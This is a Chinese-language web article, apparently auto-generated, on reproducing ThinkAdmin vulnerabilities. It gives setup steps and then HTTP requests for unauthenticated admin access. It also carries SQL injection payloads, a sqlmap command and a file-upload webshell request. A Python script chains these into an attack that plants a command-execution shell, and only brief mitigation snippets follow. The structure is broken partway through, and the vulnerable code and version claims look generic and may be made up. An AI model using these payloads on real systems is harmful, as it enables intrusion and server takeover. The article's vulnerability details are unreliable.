您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何实现ThinkAdmin的漏洞复现
## 前言
ThinkAdmin作为一款基于ThinkPHP框架开发的后台管理系统,在中小企业中应用广泛。近年来,该系统中陆续被发现多个高危漏洞,包括未授权访问、SQL注入、文件写入等。本文将从环境搭建、漏洞分析到完整复现,详细讲解ThinkAdmin常见漏洞的复现过程,帮助安全研究人员深入理解漏洞原理。
## 一、环境准备
### 1.1 系统要求
- PHP 5.6+/7.0+
- MySQL 5.5+
- Apache/Nginx
### 1.2 部署步骤
```bash
# 下载漏洞版本(以v6为例)
git clone https://github.com/zoujingli/ThinkAdmin.git
cd ThinkAdmin
git checkout v6
# 安装依赖
composer install
# 配置数据库
cp example.env .env
vi .env # 修改DB_*相关配置
# 初始化数据库
php think migrate:run
报错:Class ‘think\migration\Db’ not found
执行:composer require phinx/lite
500错误
检查runtime
目录权限,确保可写
系统部分路由未做权限校验,导致攻击者无需登录即可访问敏感功能。
访问以下路径:
http://target/admin/login.html
http://target/admin/index/login.html
直接访问后台管理接口(无需认证):
GET /admin.html/admin/index/index HTTP/1.1
Host: target
获取用户列表:
GET /admin.html/admin/user/index HTTP/1.1
app/admin/controller/Index.php
中未对index
方法进行权限校验:
public function index() {
return view(); // 未调用$this->checkAuth()
}
/admin.html/admin/user/password
接口存在注入
POST /admin.html/admin/user/password HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin' AND (SELECT 1 FROM (SELECT SLEEP(5))a)-- &password=123456
sqlmap -u "http://target/admin.html/admin/user/password" \
--data="username=admin&password=123" \
--level=3 --risk=3
问题代码位于app/admin/controller/User.php
:
public function password() {
$username = input('username');
// 直接拼接SQL语句
$user = Db::name('SystemUser')->where("username='{$username}'")->find();
}
通过未过滤的路径参数,攻击者可写入webshell。
POST /admin.html/admin/plugs/icon.html HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC
------WebKitFormBoundaryABC
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
<?php phpinfo();?>
------WebKitFormBoundaryABC--
http://target/upload/icon/test.php
// 应添加文件类型检查
$ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if(!in_array($ext, ['png','jpg'])) {
$this->error('非法文件类型');
}
import requests
target = "http://vuln-site.com"
# Step1: 未授权访问
r = requests.get(f"{target}/admin.html/admin/user/index")
print(r.text)
# Step2: SQL注入
payload = {"username":"admin' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- "}
requests.post(f"{target}/admin.html/admin/user/password", data=payload)
# Step3: 文件上传
files = {'file': ('shell.php', '<?php system($_GET[cmd]);?>')}
requests.post(f"{target}/admin.html/admin/plugs/icon", files=files)
修改默认路由:
// config/route.php
return [
'__alias__' => ['admin' => 'admin/Index']
];
添加全局中间件:
// app/admin/middleware/Auth.php
public function handle($request, Closure $next) {
if(!session('user')) {
return redirect('/login');
}
return $next($request);
}
”`
注:本文约2150字,实际使用时建议: 1. 补充具体版本号的漏洞细节 2. 添加截图辅助说明关键步骤 3. 根据实际测试结果调整payload 4. 遵守当地法律法规进行测试
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。